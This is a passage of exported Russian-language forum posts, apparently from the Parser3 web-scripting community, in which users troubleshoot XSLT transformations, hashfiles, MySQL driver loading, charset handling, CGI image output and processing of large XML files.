Но имхо, для таких случаев лучше SQLite+Delphi/VB/C# etc."
"67962","Куда залить?\
При попытке запуска денвера с CD он ругается, что не может открыть кучу файлов на запись. ИМХО, нужно ковырять в настройках основных путей денвера, но вот что и где...\
\
Что касается \"для таких случаев лучше...\" - как в анекдоте \"конечно лучше, но бетонная плита упала именно на такую\". Проект уже готов и он на парсере."
"67964","Записать на флэшку, на крайняк.\
\
Этож не локальное приложение, делать подобное на Парсере сотоварищи, как минимум, «забивать гвозди микроскопом»..."
"67965","Нашел способ заграбить localhost телепортом и записать получившееся на диск. Это правда сродни \"выпрямлять для повторного использования гвозди, забитые микроскопом\"... но работает.\
Однако, хочется всеж понять, ГДЕ нужно поправить пути в установленном денвере, чтобы он при запуске писал все свои рабочие файлы, логи, этсетера в заранее заданную папку на локальном диске.\
Наверняка это совсем не сложно, просто неохота лопатить вручную полкилометра кода, в котором мало чего понимаешь... Разработчики, отзовитесь!"
"67968","Не просто их кол-во, а именно выделение комментария в топике как \"новый\". (как, к примеру, на sql.ru)\
\
Едиственное, что приходит в голову - при просмотре топика добавлять ид каждого камента в табичку бд\
[code]\
tid // topic id\
uid // user id\
cid // comment id\
[/code]\
\
Если все колонки int, то это 4*3 = 12 байт каждая запись.\
\
Это получается, что если, к примеру, каждый из 100 000 уников (а на sql.ru механизм работает как на мемберов так и гостей) просмотрит комметарии из 10 000 топиков = (10 000 * 100 000 * 12)/1024/1024 = ~11 ГБ табличка, причём самая нагруженная из всех.\
\
Или идёт расчёт на то, что пользователи не в состоянии все комментарии посмотреть?"
"67969","Обсуждалось и давно, ищите поиском.\
\
Ещё как-то на просторах рунета на глаза попадались извраты с хранением диапазонов ID сообщений.\
\
На деле, думаю, нет смысла заморачиваться такими вот расчётами сферического коня в вакууме.\
Ветки устаревают, пользователи уходят, форумы не разрастаются на ровном месте.\
\
Я бы делал как проще — хранил ID напрямую.\
И уж если (если) бы всё упёрлось — думал над доработкой."
"67970","[quote]Или идёт расчёт на то, что пользователи не в состоянии все комментарии посмотреть[/quote]"
"67971","$xslstr[^xdoc::load[xsl/rendersv.xsl]]\
$xslstr[^untaint[optimized-xml](^xslstr.string[])]\
$result[^rangexml.transform[$xsl]] \
Выдает ошибку в виде части текста xsl файла без указания конкретной ошибки (например - expected то...) ; и @ заэкранировал. Сбой на входе в xsl преобразование.\
вот кусок xsl файла:\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:template match=\"stones\">\
<xsl:element name=\"table\">\
<xsl:attribute name=\"cellspadding\">0</xsl:attribute>\
<xsl:attribute name=\"cellspacing\">0</xsl:attribute>\
<xsl:attribute name=\"width\">100%</xsl:attribute>\
<xsl:element name=\"tr\"><xsl:apply-templates select=\"stone\"/></xsl:element>\
</xsl:element>\
</xsl:template>\
<xsl:template match=\"stone\">\
<xsl:element name=\"td\">\
<xsl:attribute name=\"valign\">top</xsl:attribute>\
<xsl:attribute name=\"height\">160px</xsl:attribute>\
<xsl:attribute name=\"width\">20%</xsl:attribute>\
<xsl:attribute name=\"align\">center</xsl:attribute>\
<xsl:element name=\"div\">\
<xsl:attribute name=\"style\">width:120px^;height:120px^;border-style: solid^;border-width:1px^;border-color: #AAA </xsl:attribute>\
<xsl:element name=\"a\">\
<xsl:attribute name=\"title\"><xsl:value-of select=\"name\"/></xsl:attribute>\
<xsl:attribute name=\"href\">http://somedomain.ru/info.html?sid=<xsl:value-of select=\"^@id\"/></xsl:attribute>\
<xsl:attribute name=\"style\">border:0px</xsl:attribute>\
<xsl:element name=\"img\">\
<xsl:attribute name=\"src\">http://somedomain.ru/images/thumbs/<xsl:value-of select=\"^@id\"/>.jpg</xsl:attribute>\
<xsl:attribute name=\"width\">100</xsl:attribute>\
<xsl:attribute name=\"height\">100</xsl:attribute>\
<xsl:attribute name=\"border\">0</xsl:attribute>\
<xsl:attribute name=\"style\">margin:10px</xsl:attribute>\
</xsl:element>\
</xsl:element>\
</xsl:element>\
</xsl:element>\
<xsl:if test=\"position() mod 5 = 0\">\
<xsl:element name=\"tr\"/>\
</xsl:if>\
</xsl:template>\
</xsl:stylesheet>"
"67972","забыл сказать - что в логике xsl ошибок нет, она где то в моем недопонимании в преобразованиях taintinga, помимо этого - файл заcaсывается из класса, собственно конкретно из-за этого проблем не должно быть..на 99%:)"
"67973","Экранировать спецсимволы разметки Парсера в XSL не нужно.\
Это код XSL (формально, XML), а не Парсера.\
\
Уберите в шаблоне % и другие сущности, коды которых у вас не описаны, например, в DTD (если не описаны).\
\
\
Ну и напоследок:\
[code]\
<xsl:element name=\"td\">\
<xsl:attribute name=\"valign\">top</xsl:attribute>\
<xsl:attribute name=\"height\">160px</xsl:attribute>\
<xsl:attribute name=\"width\">20%</xsl:attribute>\
<xsl:attribute name=\"align\">center</xsl:attribute>\
[/code]\
->\
[code]\
<td valign=\"top\" height=\"160\" width=\"20%\" align=\"center\">\
[/code]\
\
Разберитесь с шаблоном, это скорее каша, а не код.\
Ваша ошибка в невалидном XML-файле.\
\
Настоятельно рекомендую использовать [code] для выделения участков кода в сообщении."
"67974","Спасибо за хинт. Касательно \"каши\" altova не придралась, а валидить по DTD - так нет DTD:)"
"67975","Ну, самую главную валидацию — взятие в оборот libxslt, ваш код не проходит...\
\
[quote]валидить по DTD - так нет DTD[/quote]\
\
Тогда откуда взялся % в коде?\
Такого сущности по умолчанию нет.\
Очень возможно, что ругается и на него (в последних версиях не проверял).\
\
Непонятно зачем вы делаете untaint.\
\
Да и сам код трансформации приведён нерабочий.\
\
Приведите нормальный код загрузки xdoc и трансформации.\
Приведите полный текст ошибки."
"67976","Уверяю вас трансформация рабочая , поскольку данный xsl преобразовывал будучи прописанным полностью (текст) в функции класса - проблем не было. Я решил вынести его и подобные куски xsl в отдельные файлы дабы убавить вес класса в натуральном исчислении. После того как это было сделано, при попытке их использования - начинают лезть ошибки, ноги которых растут из преобразовании tainting-a. \
Кстати ваш хинт не прошел и с таинтингом и без него.Но все равно спасибо.\
\
Кстати, ошибка (уже без тайнтинга):\
[Thu Oct  2 00:32:30 2008] [14336] /: /home/n/somedomain/kid/public_html/classes/mview.p(194:19): '/home/n/somedomain/kid/public_html/' /home/n/somedomain/kid/public_html/:1: parser error : Start tag expected, '<' not found|read failed: actually read 4294967295 bytes count not in [0..4096] valid range|^|error|xsltParseStylesheetFile : cannot parse /home/n/somedomain/kid/public_html/| [xml]\
\
то есть не увидел он <  поскольку там &lt"
"67977","Если хотите, чтобы вам помогли приведите минимальный рабочий кусок кода, который даёт ошибку.\
И ошибку приведите.\
\
Иначе, кроме как посочувствовать, сделать ничего нельзя."
"67978","вот проблема:\
кусок функции класса:\
[code]\
$result[^rangexml.transform[parser://xsl/rendersv.xsl]] \
[/code]\
\
кусок xml:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<stones>\
<stone id=\"1\" type=\"1\">\
<name>Bethel White</name>\
<loc>U.S.A..</loc>\
<weight>2520 2540</weight>\
<comp>1990 2030</comp>\
<abr/>\
<mois>0,26 0,30</mois>\
<flex>118 122</flex>\
<slip/>\
</stone>\
</stones>\
[/code]\
\
xslt:\
[code]\
<<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:template match=\"stones\">\
<xsl:value-of select=\"stone\"/>\
<xsl:template match=\"stone\">\
</xsl:stylesheet>\
[/code]\
\
\
ошибка:\
[Thu Oct  2 00:43:07 2008] [14451] /: /home/n/some/kid/public_html/classes/mview.p(193:19): 'parser://xsl/rendersv.xsl' parser://xsl/rendersv.xsl:1: parser error : Start tag expected, '<' not found|'xsl' method not found in MAIN class|^|error|xsltParseStylesheetFile : cannot parse parser://xsl/rendersv.xsl| [xml]"
"67979","Ошибка говорит о том, что нет метода «xsl», кторый должен обслужить ваш вызов «parser://xsl/rendersv.xsl».\
Трансформация запрашивает шаблон по адресу «parser://xsl/rendersv.xsl» и ждёт в ответ валидный XML.\
Получает же response с ошибкой Парсера о ненайденном методе.\
\
Мне не совсем понятно для чего вы используете parser:// и что мешает просто положить XSL-файл на диск и указать на него при трансформации."
"67980","заработало так:\
[code]\
$result[^rangexml.transform[/xsl/rendersv.xsl]] [/code]\
, но все равно не понятно, почему так не работало:\
[code]\
$sourceXSL[^xdoc::load[/xsl/some.xsl]]\
$result[^xml.transform[$sourceXSL]]\
[/code]\
хочется понять где собака порылась.\
\
Благодарю G_Z."
"67981","[quote]но все равно не понятно, почему так не работало: \
\
$sourceXSL[^xdoc::load[/xsl/some.xsl]]\
$result[^xml.transform[$sourceXSL]]\
[/quote]\
\
Точную ошибку в студию.\
\
Но вообще необходимости в таком коде нет, если никаких изменений шаблона после загрузки не производится, то он аналогичен .transform[/path/to/sheet.xsl]"
"67982","Еще один вопрос:\
постановка задачи та же самая, но допустим есть к примеру парсеровская переменная в строке xsl отдельного файла:\
[code] <?xml version=\"1.0\" encoding=\"$request:charset\"?>[/code]\
\
что нужно сделать чтобы это преобразование правильно было считано ? Экранировать ? пробовал - шлют лесом.."
"67983","Уже чуть ли не оффтоп, но сам не могу разобраться, поможите, плиз.\
\
Пытаюсь поставить парсер на убогий хостинг domishko.su\
_test.html работает, парсер заводится.\
\
А проблема появляется при попытке работать с базой:\
\
[Thu Oct  2 03:48:22 2008] [1017] /: /home/interjer/public_html/floremaster.ru/auto.p(51:2): '/home/interjer/public_html/sitename/cgi-bin/lib/libparser3mysql.so' /home/interjer/public_html/sitename/cgi-bin/lib/libparser3mysql.so: ELF file OS ABI invalid [<no type>] [uri=/, method=GET, cl=0]\
\
Вот такая строка в логах появляется.\
\
Вот так прописано в auto.p\
\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	/home/interjer/public_html/sitename/cgi-bin/lib/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
\
Файл\
libparser3mysql.so\
\
скачал отсюда: http://www.parser.ru/download/redhat/\
\
libparser3mysql.so лежит в /cgi-bin/lib/\
\
права стоят RW- R-- R--\
\
ОС - CentOS 5.2\
\
Уже вечер убил, не могу настроить."
"67984","btw: парсер пишет строку и позицию, где произошла ошибка. также для поиска конкретного места ошибки можно удалять/комментировать одну строку за другой."
"67985","При установке internet explorer 7 не открываются ссылки в справочнике. Ошибка такая:\
----\
 Недействительный адрес \
   \
   Возможные причины:\
Возможно, сделана опечатка в адресе. \
Если вы щелкнули ссылку, возможно, что она устарела. \
 \
   Попробуйте сделать следующее: \
     Заново введите адрес.  \
 \
     Перейдите на предыдущую  \
----\
Как с этим справится?"
"67986","Нужно нажать кнопку разблокировать в свойствах файла. А я мучаюсь 2 года :)"
"67987","вопрос:\
Допустим есть к примеру парсеровская переменная в строке  отдельного xsl файла: \
[code]\
 <?xml version=\"1.0\" encoding=\"$request:charset\"?>\
[/code]\
что нужно сделать чтобы это преобразование правильно было считано? т.е чтобы $request.charset - воспринимался не как <xsl:variable или wrong encoding ?  пробовал всяко - шлют лесом.."
"67988","Опишите пожалуйста, если не секрет, как работает авторизация посетителей на форуме парсера, в общих чертах."
"67990","В принципе это можно сделать - читайте про process в документации - но это крайне неэффективно."
"67991","для начала похоже вы не понимаете, в какой момент подключается в работу парсер.\
\
кроме того использовать для обработки шаблона шаблона сначала парсер, а потом результат применять для трансформации xml -- плохая идея, т.к. это более рессурсоёмко и шаблоны получаются непереносимы.\
\
т.е: не надо в xsl внедрять парсерные конструкции вообще.\
\
\
вы можете писать свой шаблон в любой удобной вам кодировке не обращая внимание на то, в какой кодировке находятся ваши документы ($request:charset).\
\
если xml (файлы) у вас в 1251 (и в их xml declaration указана именно эта кодировка). а xsl в utf-8 (кодировка не указана вообще или указана utf-8) -- это будет работать без каких-либо дополнительных телодвижений с вашей стороны.\
\
однако: плохо, если часть ваших файлов будет жить в одной кодировке, а другая часть -- в другой, ибо это -- бардак."
"67994","Согласен насчет $request:charset, ну а если есть к примеру:\
[code]\
<xsl:when test=\"position()=$pos\">\
[/code]\
\
где $pos - переменная парсера ?"
"67995","краткость сестра - но я не понял, это \"Ё МОЕ\" или совет использовать экран?"
"67997","^ (символ стрелка вверх) указывала на верхнее сообщение, далее были буквы \"моё\", что по моей логике означало \"написанное выше сообщение моё\""
"67998","пока не залез в доки по xslt - на ум приходит только определить в теле xslt: <xsl:variable name=\"pos\".."
"67999","Интересно знать что есть, какие проблемы могут возникнуть и т.д.\
\
P.S. собираюсь писать, не дайте изобрести велосипед :)"
"68000","Для редактирования кода на сайте используется FCKeditor. Контент-менеджер иногда забывает при копипасте из ворда использовать специальную функцию \"Вставка из Word\", поэтому в базу попадают конструкции типа [code]<o:p></o:p>[/code]\
Кроме того, совсем редко попадаются и такие варианты: [code]<span><strong>...</span></strong>[/code]\
Разумеется, при последующей XSL-трансформации такого кода возникают ошибки.\
Внимание, вопрос: как максимально просто и красиво обезопаситься от таких ситуаций?\
Искал я вроде хорошо, но нормального решения пока не придумал."
"68003","Добрый день.\
Назрел вопрос ...\
[code]\
$sPrefix[$form:pref]\
$sPrefix[^sMessage.match[\\d+][g]{}]\
\
^switch[$sPrefix]{\
	^case[e;е]{2}\
	^case[DEFAULT]{1}\
}\
[/code]\
Если в поле формы у меня приходит е - английская - все срабатывает - результат 2.\
А если приходит русская е - срабатывает DEFAULT.\
Я так думаю что это проблема с кодировками - исходник у меня в utf-8"
"68004","Мдя, ничего путного не нашел, к примеру возможность передавать переменные через <xsl:param верхнего уровня зависит от xslt processor-а,  в случае с libxslt - я так понял - облом. Полный отрыв башки :) - может кто с этим сталкивался проконсультирует."
"68005","[quote]возможность передавать переменные через <xsl:param верхнего уровня зависит от xslt processor-а, в случае с libxslt - я так понял - облом[/quote]\
\
С чего именно вы так решили?\
Неужели нельзя попробовать, прежде чем делать выводы?..\
\
\
Так или иначе, передавать что-то в шаблон — нехорошая практика, лучше такое использововать когда по-другому совсем никак.\
Хотя, это безусловно лучше, чем пытаться обрабатывать Парсер-код в шаблоне.\
\
Я думаю, вы пытаетесь «сложную логику» обработать Парсером и передать в XSL-шаблон.\
Не нужно этого делать, в большинстве случаев средств XSL достаточно для обработки логики."
"68006","Самое простое делать\
[code]\
^try{\
	$xdTest[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
$form:text}]\
	сохраняем...\
}{\
	$exception.handled(true)\
	ругаемся на редактора...\
}\
[/code]\
\
Либо можно пойти [url=http://www.artlebedev.ru/tools/technogrette/js/validate_xml_value2/]более хитрым путём[/url], по желанию."
"68010","Пытаюсь почистить плохо сгенерированный XML.\
Использую регулярное — ^[\\s\\t]+$\
\
[code]\
$file[^file::load[text;$filename]]\
$string[$file.text]\
# ключевая строка\
$string[^string.match[^^^[\\s\\t^]+^$][g]{qu}]\
^string.save[1.xml]\
[/code]\
\
Не выходит. =("
"68011","Вопрос актуален. Вместо qu в коде ничего не должно быть. Это опечатка — осталась с многочисленных проверок."
"68012","Это если нужно прибить всё лишнее.\
\
Или ^string.match[^^[\\s\\t]+^$][g]{}, если только пустые строки."
"68013","Проблема решена - последовал вашему совету и отделил зерна от плевел, внешние параметры вношу в xml-ник на лету"
"68015","В чем тут грабли ? Проверял и с и без атрибута type в исходном xml. Вроде должна переменная быть defined, все варианты поведения учтены.\
\
[code]\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:template match=\"stones\">\
<xsl:choose>\
	<xsl:when test=\"@type\">\
		<xsl:variable name=\"type\" select=\"@type\"/>\
	</xsl:when>\
	<xsl:otherwise>\
		<xsl:variable name=\"type\" select=\"'@type'\"/>\
	</xsl:otherwise>\
</xsl:choose>\
<xsl:element name=\"stones\">\
<xsl:apply-templates select=\"stone\"/>\
</xsl:element>\
</xsl:template>\
<xsl:template match=\"stone\">\
<xsl:if test=\"@type=$type\">\
[/code]\
\
[Thu Oct  2 21:51:06 2008] [27466] /?type=1: /home/n/some/kid/public_html/classes/mview.p(77:20): 'http://some.ru/xsl/ransat.xsl' runtime error: file http://some.ru/xsl/ransat.xsl line 16 element if|unregistered variable type| [xml]"
"68016","[code]<xsl:choose>\
	<xsl:when test=\"@type\">\
		<xsl:variable name=\"type\" select=\"@type\"/>\
	</xsl:when>\
	<xsl:otherwise>\
		<xsl:variable name=\"type\" select=\"'@type'\"/>\
	</xsl:otherwise>\
</xsl:choose>\
[/code]\
—>\
[code]<xsl:variable name=\"type\">\
	<xsl:choose>\
		<xsl:when test=\"@type\">\
			<xsl:value-of select=\"@type\"/>\
		</xsl:when>\
		<xsl:otherwise>\
			<xsl:value-of select=\"'@type'\"/>\
		</xsl:otherwise>\
	</xsl:choose>\
</xsl:variable>\
[/code]\
\
Но, если вы собираетесь в одном шаблоне определить переменную, а в другом использовать — у вас ничего не выйдет.\
Переменная будет видна лишь в локальной области видимости — внутри первого match.\
\
Чтобы использовать переменнуюю везде нужно сделать её глобальной (задать на врехнем уровне, до всех match).\
\
В вашем случае, думаю, проще переписать шаблоны так, чтобы ни глобальность, ни передача не требовались.\
Либо вычислить и спускать вниз через param при apply-templates."
"68018","Тоже собирался, но дальше проглядывания API дело не пошло, времени не было. Интересно было бы принять участие :-)"
"68021","Я некорректно написал вопрос. Эти способы я знаю. Хотел спросить скорее, как другие обходят подобные проблемы.\
Человек, копирующий из ворда текст, скорей всего, вообще ничего не знает об XHTML, поэтому такая ошибка будет ему непонятной: в редакторе же все в порядке."
"68023","Пока доделываю только обычный вывод фоток из WebPicasa-альбомов (делаю фотогалерею). Однако и там столкнулся с большими косяками, которые пока нет мыслей (правильных) как решить."
"68024","Спасибо, спустил через параметр"
"68025","Какой алгоритм перебора используется при пересечении хэшей? Хочу понять имеет смысл работать с хэш хранением или возиться с xpath"
"68026","Кто-нибудь генерил XML'ки использую DOM API? Не нашел ни одного нормального примера. Все что есть в документации ограничивается следующим:\
\
[code]\
$document[^xdoc::create[document]] \
$paraNode[^document.createElement[para]] \
$addedNode[^document.documentElement.appendChild[$paraNode]] \
$response:body[^document.string[]]\
 [/code]"
"68027","btw: создание xdoc и множественные xpath -- достаточно дорогие операции. работа с хешами производится быстрее и она менее рессурсоёмка. но конкретных цифр вам никто не скажет, можете сделать два варианта и сравнить."
"68029","и какую ещё часть генерации DOM дерева вам нужно продемонстрировать? добавление аттрибута? работу с namespace?\
\
и то и другое делается совершенно аналогично.\
\
однако в случае с парсером проще, удобнее и наверняка быстрее получается создать текстовый xml, и из него одной операцией создать xdoc.\
\
проще и удобнее -- потому что у парсера всё есть суть один большой текстовый print. быстрее -- потому что DOM операции наверняка будут выполняться медленее, т.к. передаются в libxml через разные wrapper-ы."
"68030","Понадобилось сделать сайт на французском, перенес базу и скрипты в utf8. Все хорошо, но в админке адрес страницы генерится из заголовка. Пока сайты были русско-английские конвертил заголовок табличкой транслитерации для русского языка. Теперь, например, добавляется французский раздел \"fa&#231;on\" (буква \"с\" с закарлючкой внизу), соответственно закарлючка появляется в адресе.\
\
Пробовал в базе столбец \"uri\" делать другой кодировкой - ругается \"Illegal mix of collations\"\
Пробовал перед добавлением адреса в базу шаманить с $response/$request:charset\
\
Подскажите, как можно переконвертить строку в латиницу кроме таблицы реплейсов."
"68031","Исходники не читал, проверил экспериментально. Быстрее - факт!"
"68032","Да, я разобрался, спасибо.\
\
Насчет генерации текстовым процессором — к сожалению этот способ сложно использовать, когда требуется частичная модификация XML. Например, если некоторые сущности сайта были изменены в специальной админки, полезна «хирургическая частичная модификация», а не полная перегенерация XML."
"68033","Возможно ли как-то через file::cgi получить изображение, выдаваемое CGI-скриптом?\
\
captcha.cgi:\
[code]#!/usr/bin/perl\
print \"Content-Type: image/gif\\n\\n\";\
$image = Image::Magick->new;\
..............\
binmode STDOUT;\
$image->Write('gif:-');[/code]\
при открытии из браузера срабатывает нормально, картинка выдается.\
\
[code]\
$file[^file::cgi[binary;/cgi-bin/captcha.cgi;\
	$.CGI_PASS_STR[12345]\
]]\
\
$image[^image::measure[$file]][/code]\
выдает ошибку \"noname.dat\"\
unhandled image file name extension 'dat'\
\
[code]$file[^image::measure[^file::cgi[/cgi-bin/captcha.cgi;\
	$.CGI_PASS_STR[12345]\
]]][/code]\
тоже ни к чему хорошему не приводит )\
\
ну и еще много подобных вариаций было. Может кто решал подобную задачу?\
\
file::load не хотел бы использовать"
"68034","Проблема:\
[Mon Oct  6 04:00:59 2008] [20333] /?type=2&page=5: /some/classes/mview.p(93:6): 'release' undefined method [parser.runtime]\
пробемный участок кода:\
[code]\
$qs[?^rl.foreach[field;value]{$field=$value&}]\
$dat[^hashfile::open[/data/pid]]\
^if(def $data.$qs){\
$slist[^xdoc::create[$data.$qs]]\
$Items[^slist.select[/ss]]\
^Items.0.setAttribute[mes;1]\
}{\
$sourcexml[^xdoc::load[helpers/stones.xml]]\
^if(def $req){\
$Items[^sourcexml.select[/ss]]\
$adatrxml[^req.foreach[field;value]{^Items.0.setAttribute[$field;$value]}]\
}\
$rangexml[^sourcexml.transform[/xsl/convert.xsl]]\
$slist[^rangexml.transform[/xsl/selector.xsl]] \
$Items[^slist.select[/ss]]\
^Items.0.setAttribute[mes;0]\
$dat.$qs[\
$.value[^slist.string[]]\
$.expires(1)\
]\
}\
^dat.release[]\
[/code]\
\
Без использования метода release - xml../ss/@mes всегда равно 0.\
\
\
Как решить проблему? Хостер еще не ответил какая у него стоит версия, с какой версии поддерживается release и что делать если версии такой нет ?"
"68035","но по ходу так и не решилась, по крайтей мере у меня на Parser/3.2.3 (compiled on i386-unknown-freebsd6.2) не работает."
"68036","обнаружил тут, что хоть теперь в 10й версии драйвер SQLite и принимает путь относительно document-root при открытии (кстати можно было бы и абсолютный оставлять если в начале пути / стоит, всё равно от ../../ защиты нет), но SQL-запрос ATTACH на подключение ещё одной базы по-прежнему использует абсолютный путь...\
\
какие будут предложения по исправлению? забить? парсить SQL-запрос и подставлять путь ручками если там ATTACH? или поискать функцию типа \"установить базовый путь\" в sqlite API?"
"68037","Есть следующий код:\
\
[code]^price.menu{\
  $str[^for[i](0;^eval($col-1)){$price.$i}]\
  ^if(^str.match[170]){$str}\
}[<br>][/code]\
\
(Ячейки строки таблицы объединяются и по $str делается поиск.)\
\
При попытке выполнения вылетает ошибка Apache - \"Runtime Error, Program: Apache.exe\".\
Что бы это могло быть? Уже всё поперепробовал :("
"68038","выдается пустой xml - хотя содержиое хэшфайла с конкретным ключом существует.\
[code]$dat[^hashfile::open[/data/pid]]\
^if(def $dat.$qs){\
$slist[^xdoc::create[$dat.$qs]]\
}[/code]"
"68039","$dat[^hashfile::open[/data/pid]]\
^if(def $dat.[$qs]){\
$slist[^xdoc::create[$dat.[$qs]]]\
}"
"68040","Заработало так, после того как глянул в ман\
[code]$dat[^hashfile::open[/data/pid]]\
^if(def $dat.$qs){\
$slist[^xdoc::create{$dat.$qs}]\
}[/code]\
\
Ну еще, наверно нужно затаинтить"
"68041","там из внешнего скрипта невозможно было получить символ 0x00, что было решено в 3.2.2 (почему не решилось у тебя я не знаю, в тестах это работает).\
\
тут имеет место быть проблема невозможности \"измерить\" изображение, если оно имеет разширение не gif/jpg/png. как это обходить в будущем я пока не думал. возможно стоит добавить метод, позволяющий переопределить имя файла."
"68042","если его нет -- значит версия до 3.2.2 (чтобы узнать версию -- обратитесь из броузера напрямую к cgi).\
\
обойти можно только используя алгоритм, который не требует release.\
в вашем коде я детально не разбирался, но на первый взгляд не увидел, зачем вам там вообще нужен release."
"68043","плохо когда фичи прикручивают те, кто не работает с конкретным продуктом. ни я ни Sumo 9он приделывал это) не работаем с SQLite, поэтому даже не думали о подключении доп. баз.\
\
а сейчас (похоже) получится, что нужно будет опять менять API, т.к. последний предложенный вариант по сути самый правильный :("
"68044","если utf, то очень даже возможно (нужны подробности об ОС и версии парсера).\
если не utf, то причин ошибки я не понимаю (сделать bug.html демонстрирующий ошибку и отправить мне в почту, дойдут руки -- буду смотреть), хотя я также не понимаю зачем тут match (как минимум надо заменить его на более быстрый pos)."
"68045","и соотв. создаётся совсем не то, что вы предполагаете.\
плюс на первый взгляд не хватает taint с as-is."
"68046","судя по описанному на frontend-е у вас не бывает одлновременного представления информации на двух языках, а на backend-е (в админке) -- бывает.\
\
поэтому переведите админку в utf8, а дальше всё сделает парсер.\
хотя, если на frontend и на backend используются одни и те-же классы, содержашие интернациональные символы, это будет сделать не просто."
"68047","вопрос в том как побороть интернациональные символы в адресе. например дома (denwer 3, winxp) адреса с французскими символами не открываются, хотя где нашел поставил utf-8.\
Есть ли вариант скормить mysql'ю строку с интер.символами чтобы он ее перевел в латиницу? Или придется описывать транслитерацию для каждого символа"
"68048","код Perl:\
[code]#!/usr/bin/perl\
\
use Image::Magick;\
\
print \"Content-Type: image/gif\\n\\n\";\
\
$image = Image::Magick->new;\
$image->Read(\"/www/typograf/www/htdocs/images/first_page/first_01.jpg\");\
binmode STDOUT;\
$image->Write(\"gif:-\");[/code]\
[url=\"http://www.spearance.ru/cgi-bin/test.pl\"]результат[/url]\
Код Parser:\
[code]@main[]\
$response:body[^file::cgi[/../cgi-bin/test.pl]][/code]\
[url=\"http://www.spearance.ru/parser3/test.html\"]результат[/url]\
Причем нет никакой разницы где поставить заголовок в парсере или в перле, результат идентичен. Parser/3.2.3 (compiled on i386-unknown-freebsd6.2)"
"68049","вы не должны выдавать посетителю подобные адреса.\
прочитайте в доке про ^taint[uri][...]"
"68051","нужно в доку примерчик добавить с выводом из STDOUT бинарных данных :)"
"68054","При попытке создать xdoc:\
\
[code]$xTemplate[^xdoc::create[/../data/app/views/]{<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
	<!DOCTYPE document SYSTEM \"http://localhost/symbols.ent\">\
	<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	</xsl:stylesheet>}][/code]\
\
происходит это:\
\
[code]file:///E:/usr/local/parser3/../etc/catalog:1: parser error : Start tag expected, '<' not found\
read failed: Invalid argument (22), actual filename '/E:/usr/local/parser3/../et\
[/code]\
\
Меняю новый libxml2.dll на libxml2.dll из архива ../parser3xml_2007_win32.zip - всё работает.\
Что с ним?\
\
Без DOCTYPE всё работает и с новым libxml2.dll.\
\
Win 32\
parser 3.3.0 cgi"
"68056","У меня такая проблема, есть xml достаточно объемная (пока 2Мб, в дальнейшем больше). и парсер не успевает отработать до конца, т.к. веб-сервер по таймауту откидывает запрос (таймаут изменить нельзя = 30сек), так вот собственно вопрос можно как то кусками читать xml, то бишь сначало счить n-ое количество атрибутов, через несколько секунд новым запросом востановиться с того с которого закончил.\
Ну как смог объяснил, жду ответов."
"68058","Добрый день. \
Есть парсерная таблица с двумя полями - айдишник обьекта и его стоимость\
Нужно выбрать обьект с максимальной ценой - а если у нескольких цена одинакова выбрать несколько... \
Вариант с шаманством над SQL запросом не подходит принципиально"
"68059","сортировка средствами Парсера + потом менюшить и сравнивать.\
а про SQL  - это Вы зря. там можно красиво решать множество подобных задач."
"68060","И почему он закрывает соединение через 30 сек?"
"68061","уж не обработать ли xslt? :)\
\
p.s. у меня была похожая задача, необходимо было генерировать базу товаров в 1-н xml. Сначала пробовал делать через xdoc, памяти само-собой не хватало, потом попробовал просто без всякого xdoc сохранить как обычный текст. 10 тысяч записей сохранилось в лёгкую."
"68063","1. Сделана полная поддержка поддержка $request:charset и $response:charset отличных от UTF-8. Теперь ваши файлы и вывод могут быть в любой кодировке поддерживаемой парсером\
\
2. Опция в ClientCharset в строке соединения больше не нужна. Вы конечно её можете там написать, но она не будет иметь никакого эффекта (оставил для обратной совместимости, чтобы народ код не переписывал).\
\
Замечания по реализации:\
\
1. Драйвер внутри (запросы и результаты) преобразует в Unicode и обратно, соответственно перед оправкой на сервер и после получения результата от сервера, поэтому проблем с кодировками быть не должно.\
\
2. Если ваши файлы находятся не в UTF-8 или вы хотите выходную кодировку не в UTF-8 ($response:charset), кодировка ваших файлов должна совпадать с кодировкой Windows для не Unicode символов, т.е. если файл в windows-1251 а кодировка в Windows для не Unicode символов windows-1257 - будут проблемы.\
\
ЗЫ: брать тут http://www.egoroff.spb.ru/portfolio/download/"
"68064","если имеете ввиду конфигурацию сервера, то могу сказать только что это сервер agava работающий вроде под freebsd или unix\
а соединение закрывает php сервер через 30 сек чтобы была меньше нагрузка на сервак и не было так называемых зацикленных циклов."
"68065","сетуация такая из 1с выгружается список групп и товаров в xml, парсером я разбираю эту xml, при этом проверяя есть такой товар в сущуствующей база или нет, в соответствии с этим товар заносить или обновляется."
"68066","не понял, но интерсно"
"68067","http://www.parser.ru/docs/lang/?filecgiexec.htm"
"68069","если большой, то с вашими ограничениями обработать его врядли получится. я как-то пытался работать с xml-ем размером в 24 MB. даже его создание (xdoc::create) занимало больше времени, чем вы имеете.\
\
если он большой и не может быть создан за имеющееся у вас время, то нужно натравливать на него внешние скрипты, которые возможно сделают это быстрее, или которые модифицируют его без использования DOM/XPATH (в моём случае я вызывал perl, где сам регулярными выражениями из xml-я делал несколько csv файлов, которые потом загружал в БД с помощью load data infile, что в любом случае в разы быстрее чем пачка insert)\
\
если же xml не очень большой и создаётся за разумное время, то можно попробовать обрабатывать его за одну итерацию не целиком, а доставать xpath-ом лишь чать записей (или использовать DOM, по моим тестам он быстрее xpath, хотя всё зависит от конкретных операций). после обработки сохранять offset в файле/hashfile/БД и выдавать refresh заголовок, чтобы начался следующий шаг обработки."
